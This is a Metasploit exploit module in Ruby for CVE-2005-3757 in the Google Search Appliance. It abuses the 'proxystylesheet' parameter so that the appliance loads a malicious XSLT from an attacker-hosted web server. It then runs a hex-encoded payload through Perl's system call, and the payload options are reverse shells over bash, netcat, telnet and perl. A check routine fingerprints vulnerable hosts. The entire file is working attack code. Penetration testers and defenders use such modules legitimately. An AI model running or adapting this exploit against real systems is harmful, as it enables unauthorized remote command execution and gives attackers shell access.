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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::HttpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Google Appliance ProxyStyleSheet Command Execution',
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        'Description' => %q{
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          This module exploits a feature in the Saxon XSLT parser used by
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          the Google Search Appliance. This feature allows for arbitrary
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          java methods to be called. Google released a patch and advisory to
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          their client base in August of 2005 (GA-2005-08-m). The target appliance
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          must be able to connect back to your machine for this exploit to work.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2005-3757'],
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          ['OSVDB', '20981'],
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          ['BID', '15509'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'DisableNops' => true,
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          'Space' => 4000,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd cmd_bash',
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                          'RequiredCmd' => 'generic perl bash-tcp telnet netcat netcat-e',
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                        }
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        },
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Targets' => [[ 'Automatic', {}]],
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        'DisclosureDate' => '2005-08-16',
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        'Stance' => Msf::Exploit::Stance::Aggressive,
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  # Handle incoming requests from the appliance
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  def on_request_uri(cli, request)
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    print_status("Handling new incoming HTTP request...")
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    exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
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    data = @xml_data.gsub(/:x:MSF:x:/, exec_str)
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    send_response(cli, data)
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  end
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  def autofilter
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    true
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  end
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  def check
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    res = send_request_cgi({
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      'uri' => '/search',
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      'vars_get' =>
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      {
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        'client' => rand_text_alpha(rand(15) + 1),
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        'site' => rand_text_alpha(rand(15) + 1),
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        'output' => 'xml_no_dtd',
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        'q' => rand_text_alpha(rand(15) + 1),
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        'proxystylesheet' => 'http://' + rand_text_alpha(rand(15) + 1) + '/'
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      }
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    }, 10)
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    if (res and res.body =~ /cannot be resolved to an ip address/)
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      vprint_status("This system appears to be vulnerable")
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      return Exploit::CheckCode::Appears
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    end
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    if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
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      vprint_status("This system appears to be patched")
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    # load the xml data
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    path = File.join(Msf::Config.data_directory, "exploits", "google_proxystylesheet.xml")
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    fd = File.open(path, "rb")
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    @xml_data = fd.read(fd.stat.size)
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    fd.close
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    print_status("Obtaining the appliance site and client IDs...")
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    # Send a HTTP/1.0 request to learn the site configuration
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    res = send_request_raw({
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      'uri' => '/',
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      'version' => '1.0'
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    }, 10)
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    if !(res and res['location'] and res['location'] =~ /site=/)
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      print_status("Could not read the location header: #{res.code} #{res.message}")
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      return
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    end
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    m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
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    if !(m and m[1] and m[2])
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      print_status("Invalid location header: #{res['location']}")
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      return
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    end
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    print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
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    start_service
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    print_status("Requesting a search using our custom XSLT...")
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    res = send_request_cgi({
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      'uri' => '/search',
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      'vars_get' =>
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      {
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        'client' => m[2],
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        'site' => m[1],
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        'output' => 'xml_no_dtd',
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        'q' => rand_text_alpha(rand(15) + 1),
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        'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
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        'proxyreload' => '1'
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      }
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    }, 25)
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    if (res)
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      print_status("The server returned: #{res.code} #{res.message}")
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      print_status("Waiting on the payload to execute...")
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      select(nil, nil, nil, 20)
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    else
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      print_status("No response from the server")
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    end
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  end
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end
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